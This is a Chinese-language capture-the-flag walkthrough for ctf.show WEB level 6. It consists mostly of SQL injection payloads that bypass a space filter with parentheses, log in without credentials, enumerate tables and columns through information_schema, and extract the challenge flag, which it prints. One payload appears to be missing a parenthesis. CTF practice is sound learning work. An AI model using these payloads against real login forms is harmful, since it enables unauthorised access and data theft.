ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过
先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输
a'or(true)#
成功登录
既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用联合注入获取当前使用的数据库,用户名输入以下payload,密码随便输
a'or(true)union(select(1),database(),3)#
当前数据库是web2
接下来获取数据库中的所有表,用户名输入一下payload,密码随便输,如果直接复制payload,记得删掉内容中的空格等特殊字符,尽量使整个内容保持在一行,否则空格或换行符会使结果出错
a'or(true)union(select(1),
(select(group_concat(table_name))from(information_schema.tables)
where(table_schema='web2'))
,3)#
成功获取数据库中的表 flag , user
很明显flag就在flag这个表中,接下来我们获取flag表的所有字段,用户名输入以下payload,密码随便输,如果直接赋值payload,记得删掉内容中的空格和换行符,否则会报错
a'or(true)union(select(1),
select(group_concat(column_name))from(information_schema.columns)
where(table_schema='web2')and(table_name='flag'))
,3)#
成功获取表中字段flag
接下来就是获取flag表中的数据了,用户名输入以下payload,密码随便输
a'or(true)union(select(1),(select(flag)from(flag)),3)#
把整个内容复制到输入框中提交flag,即可过关
ctfshow{4cd84cfd-e43c-40f0-86df-d11bf6c2c50c}